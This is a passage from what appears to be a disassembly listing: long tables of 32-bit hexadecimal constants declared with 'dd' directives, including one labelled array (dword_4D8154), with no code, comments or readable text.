		dd 345FEB53h, 95A06089h, 0FE174EFAh, 6C908547h,	7D5F87h
		dd 7FD2D749h, 0B44631DAh, 0E19EA500h, 53BF619h,	77350CCCh
		dd 0A291C3A8h, 0C5E6B80Ch, 5B7A8896h, 0A73CC04Ch, 24EC6E7Eh
		dd 9001125Eh, 0AC0FE2B8h, 4AFE4FC8h, 2010A1B9h,	87019E5Dh
		dd 0EC1CCB0Ch, 0E7136C2h, 788365F4h, 3C2E7899h,	0F17996DDh
		dd 945F5CF8h, 28D22468h, 53882414h, 0A73E0820h,	0E4E29E09h
		dd 20082104h, 0A49F570Bh, 80853030h, 8410B0C8h,	60825C24h
		dd 0C00469Fh, 10E72D3Ah, 78D20094h, 16825DE4h, 0CB004822h
		dd 0A62957Ah, 9A64096h,	0E2287F41h, 0FE1218E4h,	7C89985Fh
		dd 23A07468h, 78C09F0Dh, 0EF091D9Ch, 0E318C988h, 0B93840DEh
		dd 0EB21E0B6h, 0B8557B6Dh, 0A993F634h, 0F468D534h, 9838D98Ch
		dd 49818B8h, 0B344A49Fh, 335F9CD0h, 0B09A2EE8h,	9F29004Ch
		dd 162476C8h, 0C020A141h, 466740B9h, 9EAEBD00h,	0E392A808h
		dd 2DE401C5h, 1FA37078h, 807C2C55h, 34126DF8h, 0D85C1474h
		dd 3225C47Fh, 0CC6C3CA9h, 0CC22214Ah, 0F8C452A2h, 9F9F859h
		dd 0EDE19905h, 9C804C4Ch, 6F0ECF55h, 0A04235E2h, 0ED04DE39h
		dd 6DCB06FCh, 60C33224h, 7401447Ah, 7931ACD0h, 64DD5C8Ch
		dd 0ECB890ADh, 209ED2E6h, 0FA16700h, 0E61F3BB2h, 518301DDh
		dd 2A48DBE7h, 9182DD5Ch, 0D60716D1h, 0F10A4323h, 0D09D1190h
		dd 1F04D964h, 0A65CA17Bh, 39E54A0h, 5A6556D6h, 0E0E19568h
		dd 1C4882B2h, 0D24B24EFh, 30809508h, 0E1DC72DEh, 11E6AC12h
		dd 0BC9FA840h, 9F91BAAh, 150A5C0Bh, 0C080E682h,	0A93B0CD2h
		dd 9C739FDEh, 4081695Fh, 94E91EBAh, 0CC9B2ED8h,	71F8F171h
		dd 0D008A0F2h, 3C427E6h, 0F3952479h, 0CB43D81Fh, 3A4429DEh
		dd 0A4ACE7E4h, 3EFC9D1Ch, 1D449E4Ah, 2E127E50h,	0B02C44Fh
		dd 3864BAh, 42813A5Ah, 0EBBD9647h, 0A4F57903h, 0A5EDF5Ch
		dd 2E9E50A0h, 5C4A2Ch, 76C73E79h, 0C930E683h, 3FCD186Dh
		dd 0E2E804C5h, 90646A23h, 2C9E4E6Ch, 5DE15C19h,	702E7B50h
		dd 4911A010h, 0E1BF14F8h, 206C75C0h, 0E710FE09h, 71139464h
		dd 78122344h, 22032031h, 0D0588C13h, 35A61018h,	5CF2B03h
		dd 0AE01C06h, 0CE03D24Fh, 1BB21AC5h, 9DF59028h,	0E5DF0613h
		dd 4925DD2Dh, 5EFB02EDh, 0EE9747FCh, 150CE64Bh,	94016F58h
		dd 0CCA1EAC4h, 50304D7Dh, 0FF1503D4h, 0C8215CAAh, 716BE803h
		dd 819D24h, 49D0A758h, 5BE6F1EEh, 546283Fh, 88A6C236h
		dd 15C14C0h, 1638DE5Fh,	30CCD92Bh, 0B940947Ch, 741A1744h
		dd 0C45001Ch, 8CF2C418h, 13FE1238h, 1C002950h, 0FB946304h
		dd 3E4C026Bh, 0A4166D36h, 7A284840h, 6CB03Eh, 0FC6E9C5Bh
		dd 0F0191EB2h, 119D6803h, 29271AB0h, 0AF25705Ch, 971880E4h
		dd 0B7CC741Dh, 811990E1h, 0DDB5A111h, 62E0A82Ah, 0AD11049Eh
		dd 0D299A3E6h, 0C2110C30h, 88351C31h, 4B808078h, 7F37B85Ch
		dd 0E626BA04h, 0ACD1A024h, 0B1D70103h, 108A8B08h, 1C880DFDh
		dd 8C64E9h, 3713F0C3h, 0CAC058D7h, 73DA7AB2h, 2EA60785h
		dd 1349604Bh, 4F826CDh,	0CC04C498h, 762D39B1h, 0A4707CDDh
		dd 60AE4124h, 464032FCh, 80964973h, 0B006296h, 0F044C45Ch
		dd 79023CBCh, 9677B99Dh, 5C164C59h, 0BC012AC5h,	3BEE2411h
		dd 0B4B21892h, 4C802118h, 6DB88396h, 0B09AC7CFh, 52E6E4A0h
		dd 0D4106160h, 2D938Bh,	0B5109F4Eh, 0E6497E72h,	0C0007EEFh
		dd 0FC5713CCh, 0B8522A08h, 0CD070CB0h, 0F5A8B031h, 8802EB0h
		dd 29D2BE6h, 54CFA8D8h,	5E5C84DCh, 0FFE5003Fh, 7FF757D1h
		dd 1C809708h, 72C75C9Ch, 62E0749Ah, 1BE3AD02h, 72700F23h
		dd 0CADC01A0h, 0CDFE2520h, 2C38A6BCh, 97685849h, 717D8080h
		dd 0EC93AB9Fh, 9C134D10h, 2D6013DFh, 7BB8C750h,	0A6032BD5h
		dd 86246FA7h, 94202C36h, 0FFE908D4h, 1E28F500h,	165C83CAh
		dd 98BA3AC3h, 5582511Ch, 46A06B43h, 302569E6h, 0F208A44Bh
		dd 24BB3CC0h, 15E84AE1h, 0DD13D068h, 55901727h,	2C756C90h
		dd 6FBC15E6h, 101DC0A6h, 7A1BC303h, 403F09Fh, 43320152h
		dd 2060E79Ch, 8BC8BCC4h, 509A85CFh, 0E20034D8h,	1427E48Ah
		dd 20EC096h, 5CDFE558h,	0BCEC47BEh, 6EAEE61Ah, 0BB42F48h
		dd 22B8DC3Bh, 438800ACh, 1EE704EEh, 304F9723h, 0BCBDD0D3h
		dd 0AB201602h, 60C6ECC2h, 9C7E070Ah, 0C85ACC7Fh, 183B6A34h
		dd 2CC4EA03h, 0D51A7224h, 5CF1BD20h, 6818BE24h,	7C0C384Ch
		dd 0D378770Eh, 0C6BC1BCEh, 3C969D18h, 0F63FFE12h, 276D20DCh
		dd 1C449A42h, 1538E0B5h, 3BD2EE67h, 285DEB5Ch, 19AA72Eh
		dd 0B9A17924h, 0C0DC6C83h, 587F4FB5h, 3E6613C0h, 0BDA8C094h
		dd 0F4052EE9h, 62B75CE2h, 677CF800h, 2418FC9Ah,	489877ABh
		dd 9B7B089Ch, 0BA93730Bh, 3BE0A290h, 937D01DCh,	488479ABh
		dd 0E416703Ch, 0FC4716E6h, 982C557Fh, 0A2292623h, 0F440A79Ch
		dd 9060035Ch, 0C6B72A88h, 22402F8Dh, 614D40E8h,	4AFE210Ch
		dd 48754191h, 47275CE7h, 3232C0A5h, 7D02CFACh, 0DB8C844h
		dd 3CA281B1h, 0B30CDFA4h, 0EEEA18D4h, 27970276h, 90FDE693h
		dd 2231448h, 7CD82A4Fh,	0EF64071Eh, 4086DEACh, 0E594E647h
		dd 0BA6D30C5h, 9625C4E6h, 0A0263C29h, 0ECFD484Eh, 50DB245Bh
		dd 0F143C118h, 8D888ACh, 0E200B87Eh, 9912A11Dh,	0B0282F36h
		dd 428B88A0h, 9E02D0F6h, 7E8301DDh, 0BCA0554Ah,	373FD673h
		dd 0C8B4E34Bh, 0C0CA4E1h, 75635C98h, 10162660h,	84219946h
		dd 0EAC5FE4Fh, 7845CC2Dh, 9AC69AFCh, 1DDA33E4h,	0E2C53119h
		dd 0E6B88270h, 705075h,	0A450F466h, 0AA5CCC67h,	2339AC9Ah
		dd 882B24DCh, 0EDC7F440h, 1685056Ah, 44D6B3C1h,	0F1AC0908h
		dd 0C282920h, 4861075Ch, 0B0009A76h, 3C10B534h,	0AF803836h
		dd 4E5E35E6h, 7DCC0488h, 9FB4CC20h, 0D0D8B200h,	607942D6h
		dd 0CE391DC2h, 9E310002h, 163D1CE0h, 30445F02h,	0A041FE78h
		dd 0E637CCD8h, 58D76371h
		dd 33E2F9D0h, 0B09458D8h, 7732EB60h, 76150628h,	89AF4F8Ah
		dd 0D8136FB6h, 782D3C31h, 97490A70h, 0A094CC06h, 135C7D48h
		dd 0E400447Bh, 39DD2C9Eh, 8FCC9999h, 26DEB15Ch,	0A47D628Ch
		dd 9F707C48h, 27FB5C09h, 3A8859BAh, 60B15C7Ch, 7581C07Ch
		dd 9AD17F80h, 532AE02h,	68715C09h, 2F55644h, 0E61C8CECh
		dd 5E0052EBh, 3E9E33C2h, 1B8078F6h, 0DEC48B5Bh,	6C0511ECh
		dd 0AC0720F2h, 29943491h, 0A4A1C893h, 24016BA8h, 0FE7B3CF8h
		dd 6880DAE0h, 95CD543Ah, 0E613C02Ch, 0EC3384CAh, 0AAC8047Dh
		dd 0D3D1DE6Dh, 0F2E4C738h, 269600A8h, 0D45A3831h, 68E801C4h
		dd 16141B99h, 16C7105h,	450E9608h, 23B4B014h, 20F06B26h
		dd 8AB89315h, 0C43D10B1h, 181D7C44h, 481B129Eh,	0E006A5AFh
		dd 3DB95CA7h, 0F0389A88h, 103360CCh, 0C4D2FFDEh, 3F5AE70Fh
		dd 2596A74Dh, 2A4253h, 848EC718h, 4C69515Eh, 44C85318h
		dd 0A2144FF0h, 0BDB0C0D4h, 0F9551F8Ah, 41FB9E9Eh, 54E6B79Dh
		dd 6EF88085h, 0DA7A2DE4h, 429F005Eh, 6096CF51h,	9C244007h
		dd 82001BEDh, 48988CF5h, 0BEAECB4h, 51FE4E96h, 60999C41h
		dd 0A8FA2A44h, 0C220CD12h, 5C09E85Fh, 2C00F522h, 0C24FE3Eh
		dd 1CD1905Ah, 2300C6C2h, 4E4AA6F3h, 42C03429h, 0E4CC27E6h
		dd 0FE137896h, 0FCE3A5E2h, 0B28A8D12h, 1D145204h, 0B903CE1Eh
		dd 957D2FEh, 955C93B0h,	0A9096CF8h, 82B42247h, 11F6158h
		dd 0F0BD8092h, 650B88D0h, 4057246Ch, 1C6397D4h,	0CE4D711Eh
		dd 83292E2h, 500B7B4Ch,	7E1890E6h, 34DD59E3h, 366D9854h
		dd 98C9C30Fh, 0EA05Eh, 30A79388h, 48001E25h, 7FCD0D8Ah
		dd 12AB4103h, 0C8B98103h, 127805Fh, 56D3A515h, 646608FDh
		dd 9CA8963Ch, 90B568F4h, 80C51BD0h, 181D77CCh, 951EFE5Bh
		dd 0C94E842Ah, 0B286B00Fh, 504D3C04h, 23C22CE9h, 0CC989B83h
		dd 71F0B1B2h, 26AB8609h, 906450F0h, 0BCA208Ch, 3B9C4E03h
		dd 8A7DA757h, 201052D4h, 0F4A0EBB1h, 3D09CB64h,	80B32EE6h
		dd 0AF2A513Ch, 8BCF1FD6h, 0B48008Ch, 7EFE7CADh,	68DC5350h
		dd 78D6B403h, 0E25EAB7Fh, 88D6D0h, 52215D0Bh, 0AA784488h
		dd 7E044302h, 74E428FEh, 2E70A64Ch, 8107459Ch, 9921959Ch
		dd 0A69975E1h, 7C0DDC60h, 95F007ECh, 0C036E8C5h, 0AC74E702h
		dd 0F00E4B2h, 3EC8F2C4h, 7C6F855Dh, 0F880E724h,	0D482470Dh
		dd 594FE676h, 0D6CE5482h, 0C33E4734h, 100E7B83h, 43AC239Fh
		dd 583CB9D6h, 31016708h, 0E7084314h, 0D4857E76h, 0D7FE24D0h
		dd 0C9B80DCh, 268908B6h, 44C459E9h, 77E4C8B3h, 0A74CA48Ah
		dd 1E74ACFCh, 1403CD14h, 0F512CC4Eh, 16DC95EAh,	0DFCC7248h
		dd 0C883530Eh, 6AD39173h, 0EC1068A5h, 952DE726h, 9B8430C6h
		dd 0E4632661h, 83AE0310h, 2AFA3715h, 41688FAh, 10071BEDh
		dd 106246D9h, 5C10E01Fh, 2D09236h, 7C9B019Eh, 7060622Bh
		dd 0AD315D72h, 145C71B7h, 0A014003Fh, 7A49CCE3h, 0A7221707h
		dd 9DA0D050h, 0F8967BFDh, 24230983h, 3CE28C5Ch,	8068881Ah
		dd 70C70214h, 0A2BF21E3h, 68BD1681h, 5DF52364h,	0CA00306Dh
		dd 12338A14h, 734F08FEh, 0A44084D1h, 282ED9F4h,	16C845DFh
		dd 0DC284472h, 8C8922E4h, 2385A02Ch, 3C5CBC42h,	9077807Ch
		dd 274E1AC4h, 6A8980Ch,	0EA86B023h, 1D0E8094h, 3F62BFABh
		dd 960A28C0h, 67B7808h,	0BD5CECB7h, 121FE0CAh, 2500A187h
		dd 5E718622h, 382418AEh, 27DD6846h, 50FC6049h, 8874B908h
		dd 0D82C7CB9h, 0F5800D07h, 8F92E6C1h, 0B2E9064h, 414872CFh
		dd 4F5A2002h, 66527502h, 91B02B8h, 0E9DB7EB1h, 6603F070h
		dd 70AA0D9Bh, 0F4D6E87Ah, 38782509h, 8DE5860h, 0FEC4D100h
		dd 3B53E54Fh, 4DBC0E9Ch, 0C09C9F03h, 2BC11CE7h,	0CE02D69Eh
		dd 0CB1F16C5h, 5E08783Bh, 0D64463ACh, 0E6C30094h, 936C7E8h
		dd 0B244FE59h, 7C806CF1h, 247141BEh, 305D6470h,	9002FA44h
		dd 0F69DE6ABh, 140C01ACh, 6CA37E5Ch, 4CF00740h,	0C330DD3Bh
		dd 0A099E77h, 8972836Dh, 43F10ACh, 12A0ECFCh, 95DDC488h
		dd 76E6F0A1h, 14F034F2h, 88802A5Ah, 0E6314F08h,	0EA1E3C90h
		dd 114E6018h, 8A32FE76h, 789748C8h, 0C89B507Ch,	90BB5B19h
		dd 81296CACh, 0C8C48600h, 20A3D056h, 58165C0Ch,	0A7612207h
		dd 0A114759Ch, 4C606A58h, 6BA9247Bh, 0D8DBA811h, 0C8C8CF13h
		dd 0FC085D1Bh, 1CCDA41Eh, 1E103098h, 0D95E24F9h, 0D6C6B4C2h
		dd 23A931A8h, 4AF03863h, 0A09EDCC3h, 0C0EE321Ch, 6B2D7C11h
		dd 2EF80D46h, 8624EF0Ah, 0CD8FC4A8h, 6E99A978h,	0B2E21F04h
		dd 0FE0C7FE5h, 0EB1884C0h, 0FA763D28h, 29BC7F48h, 0C240C0A1h
		dd 485121F4h, 0F8955091h, 0BC91B62Fh, 777C225Bh, 0C2654B0h
		dd 77E28022h, 84188469h, 0F32882h, 78C79C93h, 0C9688E9Fh
		dd 0D0B498E7h, 864B641h, 0A1002DFFh, 253B29C1h,	815C13C8h
		dd 0C790E40Eh, 737C6916h, 207B24D9h, 5B0B9C1Ch,	41224425h
		dd 0CA6F78h, 1676407Bh,	9F5A5CECh, 59E84C0h, 51EAF6h, 0DDB59465h
		dd 62DE257h, 66DC5207h,	36225623h, 0B0908077h, 0CFD57Bh
		dd 0C657C8Fh, 29960D5Fh, 93479E00h, 0CCCBC4F1h,	985E07A1h
		dd 0F95BC116h, 0DF1ECCA2h, 0F3F2A961h, 4309FBC0h, 10606EE3h
		dd 0A2215C4Dh, 0DD8C1092h, 4C819DBEh, 6E421CE6h, 20858427h
		dd 0BB6440BAh, 92E11EAEh, 28A0B868h, 0EEFC9B00h, 0AC08A8h
		dd 0D60D9683h, 44C40377h, 25A0E714h, 29FA1308h,	7C6CB499h
		dd 938E5C0Ch, 2C502B81h, 90B0A7CCh, 64F31C26h, 0D8A37882h
		dd 51C0765Bh, 75C43895h, 8A4E82Ch, 38B1DE80h, 3B96448Bh
		dd 0F00520Ch, 8CD43C0h,	1974B8Ah, 0BE71472Ch, 286AABF9h
		dd 6D00D4D8h, 0EC9261D6h, 0B6AFE64Bh, 687D07A8h, 0B1EEEEA7h
		dd 81A4C796h, 0F2A4C0D7h, 272480C0h, 0F48CA09Fh, 580F363Ch
		dd 3A00B079h, 9C2D7BBDh, 242D7722h, 0ADA480ECh,	0A05CD94Fh
		dd 9A273EEh, 8AD2E6B5h,	0CC05547Ah, 56812F6Fh, 167C88A8h
		dd 8B1F9Ch, 21DFFB3Ch, 0C0389669h, 8CE88B58h, 1C8C8064h
		dd 0BD47C23h, 56EB7603h, 1E14E800h, 260C3825h, 78B39A19h
		dd 0BD6D0BFFh, 3CDC7B33h, 0E6AD9401h, 7F003E1Fh, 0E49A8279h
		dd 17B99220h, 0E006E6AEh, 73C3EF0h, 0A37405FCh,	0D0521032h
		dd 0F5B23C00h, 7887652Eh, 81A0B4FAh, 0E35BB316h, 0D0202E02h
		dd 9F1D05FCh, 5A89B412h, 100D7422h, 0B5FE8300h,	8C10BDD5h
		dd 0CF3F2696h, 0C43B8068h, 653985E8h, 5918C15Ah, 0C873446Eh
		dd 103208C8h, 76EE59C1h, 0DDB06068h, 0B14A7984h, 158AA001h
		dd 0ADD89F70h, 0D30500A5h, 0C1960357h, 3230E677h, 2797A095h
		dd 18D1E3Dh, 7BFC0F93h,	171D9D80h, 784D697Fh, 666B1C14h
		dd 0FF2E1900h, 0D4FACB1h, 799B2467h, 38C82280h,	0B7C068h
		dd 0A8D07E3h, 0AEBC4699h, 5C1CB0B4h, 8C18C252h,	489D8590h
		dd 522A1CF5h, 410BFB4h,	8CB4230Ah, 813AC4CAh, 5C40340Bh
		dd 0DC74482Ch, 3CB69FFEh, 1401BD5Bh, 22CF34D6h,	955FD460h
		dd 6C781842h, 0DE286297h, 0C26B9D2Ch, 281E5BBCh, 0C1719C68h
		dd 1641B800h, 0DA5ABB0h, 1C9D048Ah, 16FC9409h, 0C6EE9801h
		dd 20C15021h, 353AACF5h, 9D08888Ch, 0B6DB500h, 6F51EDB2h
		dd 5A2C00C2h, 0A8DE6232h, 54900D9Eh, 0BE41FD20h, 0DFBABEC0h
		dd 5CCCC04Bh, 0D0825334h, 439040C0h, 0F0984DE7h, 1092DDD8h
		dd 12398720h, 414B3B5Ch, 3440750h, 0B0012E7Eh, 28F5FE50h
		dd 0A4F48840h
dword_4D8154	dd 76261F72h, 0A0A2D75Ch, 46FC0678h, 0A9489A65h, 0DDCD2480h
		dd 0C85C5B62h, 0FF0DFC94h, 789D9F08h, 10D065C1h, 4FA70995h
		dd 0E0C002FEh, 0FA3B5698h, 66842D9Eh, 4F5003Ch,	94721538h
		dd 44007AF6h, 2A36763Fh, 59433146h, 0B0F9C98h, 275D085Dh
		dd 72681840h, 0E44E8EE8h, 9793E4F0h, 86B5B4A0h,	0ECB1D0F7h
		dd 1BFE7C87h, 9110BCh, 891FF504h, 0AE201CC4h, 51F985Ch
		dd 36A95BB6h, 15509898h, 0B4CB9C7Fh, 0B718B878h, 4517A40Fh
		dd 0C0C0EFB8h, 0A10A3E94h, 1C7F9009h, 230A272h,	0EE040092h
		dd 2F00CF1Fh, 940C03FFh, 5BB808DFh, 445C4075h, 6D764655h
		dd 0C49ED425h, 0E4E35AE4h, 0B8243E10h, 19123CFDh, 0C0A26052h
		dd 2E4C618Ah, 0E01325B8h, 0D1C22800h, 3BCC6863h, 0C3D83050h
		dd 882BE411h, 0C4103DF5h, 0A009BBFBh, 6680F4F9h, 0E441A14Ch
		dd 615F1E3Dh, 0D5030079h, 76892992h, 1E5DFE7Ch,	0C75C89Ch
		dd 5148C69Ah, 0EF1C4C0Eh, 0BC439252h, 3C106E5Ch, 880253A9h
		dd 0ACAF3881h, 3CEA5041h, 0E5CE023Ch, 578EB4E6h, 0B0483C2Bh
		dd 92422FCh, 0B284C8DFh, 88FC722Fh, 0A55C9E82h,	6127E856h
		dd 0EC28B130h, 49ED1855h, 0C54A8872h, 0E728AD88h, 0B09DB795h
		dd 635E0C4Bh, 5017C268h, 0B4F06F23h, 0D1E405B6h, 80784277h
		dd 406D93E8h, 16443405h, 80024A1h, 81069EA6h, 6ECE0BC4h
		dd 0C481AD9Ch, 300D9A0Ah, 60C06764h, 1F4189E3h,	7F5C1BA2h
		dd 0E89E8BCh, 760BE096h, 0C02110D2h, 0A0871878h, 856CCD4Fh
		dd 7994D26Bh, 1C2920D0h, 0A2278C32h, 0AE84C78h,	0D0670067h
		dd 8CBFCF1h, 245DDC1Fh,	2C86C25h, 35F8F367h, 7C40CAE4h
		dd 0DA2D231Bh, 10A0655Dh, 98D916C7h, 0A394CC44h, 0E020805Ah
		dd 52B00905h, 909768CAh, 40A37702h, 6A74547Ch, 0E6C44004h
		dd 4E07A246h, 0B9BB1615h, 7490E285h, 13EFC296h,	0F08FE836h
		dd 40024CCCh, 1B73E99h,	3E4EE5Ah, 83DB1432h, 48B03E5Ch
		dd 8C002624h, 0FB228296h, 0F486EB9Dh, 3080FB30h, 61AEFC56h
		dd 925DE3DDh, 73E418FCh, 77E4A78h, 2358AF9Ch, 0BA160030h
		dd 1F04F403h, 59E36C1h,	4446A8C0h, 0A507054Bh, 80C25633h
		dd 0BE929B07h, 0B4B4A64Ah, 1609A8Bh, 2D7A49B2h,	7329FA88h
		dd 0B0231244h, 0A39BEC00h, 0CEB3526h, 3654E62Ch, 133A4788h
		dd 0CFDF3BB2h, 0B95CE470h, 0F7F89A86h, 0E6D7102Ch, 7735128Ch
		dd 0B1F5C4A8h, 0CC932E80h, 98F8EDE6h, 58A4A392h, 3D2101Ch
		dd 6CFD4300h, 0BB7B9DF8h, 48C0C54Eh, 5FF10A0h, 0E6D76A4Ch
		dd 0AB08A0C7h, 4A4AAC96h, 0DC425712h, 7E47567Fh, 0E5DDC128h
		dd 0D4C4518Bh, 214600C9h, 6C5948FEh, 0F209C4h, 0E8E7C4B0h
		dd 7F5B13FAh, 11444122h, 40F63799h, 42DB60CCh, 1E8B1A01h
		dd 55B924F2h, 12E7EC34h, 0E00F2315h, 0E618AC48h, 0D670A94Fh
		dd 1C470529h, 0FC6924ECh, 0FB0A0088h, 9E6B605Fh, 30B9A008h
		dd 31C13D54h, 7B246804h, 0FB8AD4Dh, 2069E57Ah, 792D2A96h
		dd 4483001Ah, 50A36FD4h, 0AA00293Ah, 64019EABh,	1E4BAED0h
		dd 0E5E62AC1h, 84BE5C68h, 668C91B7h, 548D24D0h,	486E80E4h
		dd 26DF784Ch, 13878C18h, 29957810h, 0F9D02254h,	700C7CB3h
		dd 0D0A223C4h, 7C26A051h, 74488210h, 79339900h,	5BB49E46h
		dd 3834E330h, 720CED1Ch, 8960028h, 0C37D4BE9h, 0C230E688h
		dd 4C74487Ah, 6924605Fh, 0DDCE03DEh, 7047352Ch,	560B14A6h
		dd 0B8108011h, 0C05F72E6h, 9A0D2A38h, 92605566h, 83C5F680h
		dd 0A0009869h, 0B077E96Fh, 0D5360FFCh, 128168D0h, 7C3D710Ah
		dd 0B2640630h, 918330Dh, 0A4C19F9Eh, 0CBF038F8h, 2D9C4697h
		dd 0E44BADB2h, 0A50119E2h, 0C8D01406h, 90C74BAAh, 0D0E0C548h
		dd 5E0A9E18h, 7FD47CD1h, 1D86053Dh, 0C07D3E4Bh,	0F71CE1BCh
		dd 0BD492418h, 0F4850C28h, 9F141318h, 359600FEh, 9E54CC6Ch
		dd 9908D650h, 0ECE42A9Dh, 0D8947509h, 88524A4Ch, 2A4F2364h
		dd 14E31404h, 0FD44790Eh, 4D5C82F8h, 0C497A480h, 0AD023D53h
		dd 0C2CE38CBh, 3FAFE00Bh, 89207AAh, 80FC8DD4h, 0C8789BEBh
		dd 9600F175h, 0DF75BB6Dh, 373979Dh, 47D4F9EDh, 0A3FBE50Eh
		dd 33AF392Eh, 529EEA00h, 0C471EE9h, 6D2ECDB2h, 45375360h
		dd 0AA3358A3h, 781DC308h, 77750718h, 851B1C9Dh,	597C1E3h
		dd 0BFA5FF8Ch, 0F6EACA80h, 0B854800Eh, 0B151E20Fh, 0A6C80FD1h
		dd 0D1A2FFBh, 82253D8Ch, 0F610BF30h, 2206C852h,	2A886003h
		dd 35B9EA5Dh, 28E78A80h, 0FA17C782h, 38916826h,	0EF84400Bh
		dd 8FE15703h, 0D8905FA3h, 8013454Bh, 51FA2B69h,	9137627Ah
		dd 6A66154Bh, 25152869h, 8C5B4420h, 0F89830F5h,	691DEA73h
		dd 9D4C0874h, 0F7C2348Ah, 0F0AD108Eh, 0D2F7001Ch, 0E3C1CB87h
		dd 520767F8h, 0EB314AB6h, 75055A61h, 31EA26C8h,	2D75A612h
		dd 7AA0E025h, 3D3410C4h, 1C117804h, 9E1D993Ah, 0BA43D43Eh
		dd 0DAB0F99Dh, 8CB16EBDh, 0D1ED84A4h, 550C9C8Ah, 5995351Eh
		dd 0C05814CFh, 0F9028192h, 18485360h, 0F0BDA4B9h, 0D450D1C3h
		dd 94C6EAC2h, 0DD45D01h, 0A6F8391h, 8D414890h, 0E9021130h
		dd 55C7F05Eh, 9F06FC64h, 910DEC93h, 0EA54031Ah,	3405DE79h
		dd 0BF57E68Ah, 5FF65340h, 63B8EA53h, 0CBFF129Fh, 0E1496BFh
		dd 515E5500h, 242A87B9h, 0FF80C428h, 643510DBh,	1D8A57C6h
		dd 0FF0C8647h, 5D308860h, 73A76912h, 0E3310337h, 1746C382h
		dd 131D8A70h, 69CD0994h, 21165D30h, 12A28C77h, 8B3A4698h
		dd 88506781h, 53E18A51h, 481BB806h, 20784F89h, 773C6624h
		dd 1C95ED90h, 412CBE1Fh, 0E92A6A40h, 9426248Ch,	35C17B41h
		dd 8102E801h, 5CC2F641h, 0E6D02B75h, 2D12C008h,	467CF930h
		dd 0F0CC6EEh, 0C1A885Ah, 2B8602FEh, 5EEB8A62h, 48E78780h
		dd 23C0BAFh, 8A17BFBh, 3E904060h, 1E0C257Ah, 729DA8EAh
		dd 1A4C635Ah, 96011DBFh, 0EA58D9F8h, 20921E43h,	0D9D1859h
		dd 9BA06D82h, 5C123D67h, 2308516Ah, 1169069Fh, 0D5C4F923h
		dd 0B9000F40h, 0F0C0C98Fh, 434915F4h, 484F4810h, 10C4A237h
		dd 4190EC84h, 0B0CDD484h, 0E3401B3Fh, 9808E8C2h, 0C96654D7h
		dd 67524013h, 8E575439h, 0E97F93BFh, 0DF0C8747h, 56F782C1h
		dd 0EF0A08C7h, 0C7073F5Eh, 8AF06DBDh, 30EA5FF4h, 894822E9h
		dd 0F5A15AEBh, 0C471331Eh, 0C24052C5h, 41655325h, 1ACC8A24h
		dd 0C0E16D22h, 0EC008343h, 243C8904h, 4C18BFh, 0C3811ED9h
		dd 4A3D4868h, 1B70CC7h,	0D9E97653h, 29C5FFDFh, 0C0C1E8DBh
		dd 391D1879h, 40510E5Dh, 521E8007h, 93B082BAh, 18D1217Dh
		dd 728ABDE9h, 8B1ED831h, 9F9F241Ch, 88BF4C33h, 506319h
		dd 8105EFC1h, 3B69F2F7h, 0CEF21C76h, 21387318h,	3E9B2F0Ch
		dd 6C00A8B1h, 301F0424h, 29373CEAh, 44C5107Ch, 595F0C20h
		dd 335AB053h, 5882867Eh, 80F8CCB1h, 148B547Ah, 0CEC48324h
		dd 4173C23Ch, 57E95005h, 550C807Ah, 10159ABDh, 0EB01075Ch
		dd 18F665Dh, 801FA5E9h,	32BE562Fh, 7598D30h, 0EE81E6D1h
		dd 19E7015Bh, 1BC6DC4Eh, 512C0909h, 0EA08A746h,	0CE299BD0h
		dd 11F031E9h, 41348748h, 5E5858Dh, 5AD12207h, 0E7C83143h
		dd 6E28A3D6h, 0E26FB689h, 145A4646h, 5BD8011Eh,	4D115518h
		dd 0ADF50781h, 7C2893C2h, 8440A8D2h, 8953145Ah,	7940EEE3h
		dd 0E90CC383h, 513B2641h, 25B98DFh, 3068EB9Bh, 0C816EF4h
		dd 0F30AB924h, 0FE032E69h, 0BB27E800h, 6778E91Bh, 73DA3505h
		dd 0CC00F4E5h, 0CA0AF181h
		dd 0E801B613h, 0BD0C538Bh, 196FEB04h, 0D3728329h, 11089841h
		dd 0B0DDE9D1h, 3AA51C8Bh, 0CBD8FD7Ch, 0AA511F5Bh, 31F30311h
		dd 47DF8D57h, 0E829C1DDh, 437215Dh, 6315C034h, 33249B53h
		dd 4403344Fh, 0A90D2F2Eh, 0DFE147D7h, 0DED09441h, 5BE07325h
		dd 823C6387h, 0FF6E4EA4h, 81E76210h, 55A090C7h,	286E33E9h
		dd 1570680Ch, 4EE9FF54h, 80106461h, 0C3CCA8EBh,	832873C7h
		dd 1FFF68A8h, 59A0ADA6h, 8818ACB2h, 272E5AD3h, 0CF0BB8C0h
		dd 50EEF90Ch, 92DEDC5Fh, 0E96260F0h, 5D8025F6h,	74FF3E53h
		dd 489816E3h, 3386A750h, 0FA5E6C40h, 0C5160AAh,	4AC78059h
		dd 9B49D5FEh, 87EE7A13h, 5C0E3A67h, 8CEA91D7h, 0A0F75E0Eh
		dd 0FAC58145h, 609C262Eh, 0BA8C4C25h, 0BCF6011Ch, 8A6AE9DDh
		dd 2C77FF1Eh, 31456F18h, 7480C4F5h, 55F097Bh, 0F2408DCCh
		dd 637557F6h, 6C08F668h, 31E332F3h, 33242C1Bh, 0E90D0906h
		dd 3223D7DBh, 0BC81E2F5h, 97B9EC38h, 68664EC1h,	2EE43E44h
		dd 8928C0D8h, 0E7C159CFh, 156064Ch, 3E996A72h, 61C6CA81h
		dd 0F2D85E53h, 0FDE3F825h, 0EA7EAF0h, 0C12C361Fh, 0A2A06CCh
		dd 0C04D6E3Fh, 0B9D30409h, 962BE923h, 0C64D4254h, 11CB8428h
		dd 73C6D811h, 883994F1h, 0BBD728CAh, 0FABD5850h, 0DCB92D40h
		dd 561A3D53h, 15A8D54Dh, 0D24BEBBh, 5401934Eh, 907C7C8Ch
		dd 49A6FC25h, 1A184B0Ch, 6B74941h, 0A8D631CCh, 3814281Dh
		dd 0EEAEEC81h, 5A641FD7h, 21025383h, 2278AF4Bh,	48721805h
		dd 6C53F941h, 0CB10A1BBh, 0E92613F4h, 818AB2BCh, 894483ECh
		dd 0A880C684h, 794E2E56h, 0CDC18147h, 6E3CC05h,	0E6DBF724h
		dd 25376E00h, 490AE91Fh, 0CE040B1Ch, 0C53A7599h, 548836Eh
		dd 0C0131FBh, 0CE16F839h, 1AE8F029h, 5B32C113h,	2404EF83h
		dd 81C95CE1h, 0B1948254h, 43700C0Fh, 87F9AEF0h,	5DEF2910h
		dd 36A8682h, 8FF9D031h,	0C685817Eh, 26D1FB5Ch, 6120F0F5h
